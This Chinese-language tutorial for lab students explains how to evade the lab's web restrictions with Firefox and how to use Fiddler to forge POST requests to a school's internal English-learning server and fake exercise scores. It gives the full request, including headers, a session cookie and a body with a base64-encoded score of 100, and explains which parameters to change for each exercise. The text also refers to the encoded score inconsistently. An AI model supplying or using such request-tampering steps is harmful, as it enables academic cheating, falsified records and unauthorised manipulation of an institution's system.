1.前言
该篇文章写给上机的同学们,方法会从头讲起。
2.下载fiddler
2.1下载Firefox浏览器
为了更舒适的上网,上机课推荐使用Firefox可以突破上网的限制,安装该浏览器后可以上任何其他网站
在机房电脑浏览器中输入 www.firefox.com.cn来下载浏览器,下载后安装即可
2.2下载fiddler
这个百度就可以了,如果嫌官网下载太慢,可以直接下载百度软件中心的
注意别到一些捆绑垃圾软件的下载站中下载,下载后打开保证你分分钟重启电脑
下载完后安装即可
3.抓包
3.1抓包过程
抓包过程先省略
3.2模拟发送请求
在相应位置填上相关信息
请求选择POST, 地址填上:http://192.168.0.9:8088/Ajax/ScoreAjax.ashx?Math=0.09692104808863459
请求头:
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Referer: http://192.168.0.9:8088/Study.aspx?levelID=6&unitID=39§ionID=318&levelSequence=6&unitSequence=8
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Host: 192.168.0.9:8088
Content-Length: 323
Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=5ysszb55vpdvop45llfp0g45; highWords_cookie=What%2Cyou%2Cthink%2Cthe%2CIt\'s%2Cdays%2Ccourse%2Cbut%2Cshe%2Cis%2Coutstanding%2CHer%2Cfrom%2CShe%2Cam%2Calso%2CWhat%2Cme%2Cwell%2CJust%2Cas%2Cfind%2Cknows%2Chow%2CThat\'s%2Cwould%2Csay%2CYes%2Cmean%2Cit%2Cimportant%2Cfor%2Cphilosophy%2Cto%2Cbe%2Cspeak%2Cwrite%2Cdraw%2CYeah%2Care%2Cright%2Cway%2Cdiscussion%2Cideal%2Cangles%2Cguess%2Cher%2Cstudents; lowWords_cookie=critically%2Cto%2CYou%2Csaid
Requestbody填上:
levelSequence=6&unitSequence=7§ionSequence=5§ionName=Real+World+Listening+2&topictype=6&score=MTAw&rolea=0&roleb=0§ionID=1426&unitid=38&passScore=30&timeLimited=00%3A05%3A00&levelID=6&duration=00%3A01%3A28&highWords=&lowWords=&pScore=%E8%89%AF&rScore=%E5%B7%AE&fScore=%E8%89%AF&sScore=%E5%B7%AE&tScore=%E8%89%AF
其中是关键信息我们来分析一下
levelSequence表示第几册
unitSequence表示第几单元
sectionSequence表示第几题
sectionID表示题目的id
score表示得分
unitid表示单元的id
以上信息最好都要根据每道题目的地址上的信息进行修改,其中score表示分数,MYAw表示100分加密后的形式
填好每道题后点击Execute即可,这样就达到了刷分的目的